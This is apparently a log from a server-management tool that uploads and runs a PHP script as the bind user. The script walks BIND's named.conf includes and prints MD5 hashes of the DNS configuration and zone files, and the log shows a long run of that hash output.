MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:21:40: Establishing a connection
2026-04-22 18:21:40: 

PUT: /tmp/pkp681603

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:21:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp681603; rm /tmp/pkp681603'

2026-04-22 18:21:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:22:11: Establishing a connection
2026-04-22 18:22:11: 

PUT: /tmp/pkp470590

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

